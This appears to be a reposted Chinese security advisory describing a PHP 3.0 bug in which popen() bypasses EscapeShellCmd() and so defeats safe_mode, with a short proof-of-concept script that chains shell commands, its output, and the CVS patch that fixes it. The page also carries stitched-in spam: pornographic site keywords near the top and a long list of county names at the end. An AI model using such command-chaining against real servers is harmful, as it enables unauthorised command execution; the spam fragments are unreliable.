--------------------------------------------------------------------------------
描述:

PHP Version 3.0是一個(gè)HTML嵌入式腳本語(yǔ)言。其大多數(shù)語(yǔ)法移植于C、Java和Perl并結(jié)合了 " /> 91精品韩国,久久一区二区三区超碰国产精品,天堂av中文在线

色尼玛亚洲综合影院,亚洲3atv精品一区二区三区,麻豆freexxxx性91精品,欧美在线91

PHP3 safe_mode 失效漏洞

受影響的系統(tǒng):  php 3.00  
--------------------------------------------------------------------------------
描述:

    php Version 3.0是一個(gè)HTML嵌入式腳本語(yǔ)言。其大多數(shù)語(yǔ)法移植于C、Java和Perl并結(jié)合了
php的特色。這個(gè)語(yǔ)言可以讓web開發(fā)者快速創(chuàng)建動(dòng)態(tài)網(wǎng)頁(yè)。

    因其執(zhí)行在web服務(wù)器上并允許用戶執(zhí)行代碼,php內(nèi)置了稱為'safe_mode'的安全特性,
用于控制在允許php操作的webroot環(huán)境中執(zhí)行命令。

    其實(shí)現(xiàn)機(jī)制是通過(guò)強(qiáng)制執(zhí)行shell命令的系統(tǒng)調(diào)用將shell命令傳送到EscapeShellCmd()
函數(shù),此函數(shù)用于確認(rèn)在webroot目錄外部不能執(zhí)行命令。

    在某些版本的php中,使用popen()命令時(shí)EscapeShellCmd()卻失效了,造成惡意用戶可
以利用'popen'系統(tǒng)調(diào)用進(jìn)行非法操作。

--------------------------------------------------------------------------------
測(cè)試程序:

警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

輸出結(jié)果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建議:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

php技術(shù)PHP3 safe_mode 失效漏洞,轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 六盘水市| 紫金县| 南城县| 保靖县| 巴楚县| 罗田县| 松潘县| 同心县| 化德县| 桃源县| 唐河县| 定安县| 增城市| 开封县| 广宗县| 陆良县| 安溪县| 永昌县| 焉耆| 珠海市| 逊克县| 冕宁县| 满城县| 南昌县| 深泽县| 长泰县| 舟曲县| 温州市| 道孚县| 重庆市| 澄城县| 紫云| 运城市| 鄂托克前旗| 阜新市| 海林市| 仪陇县| 遂昌县| 廊坊市| 龙陵县| 潜山县|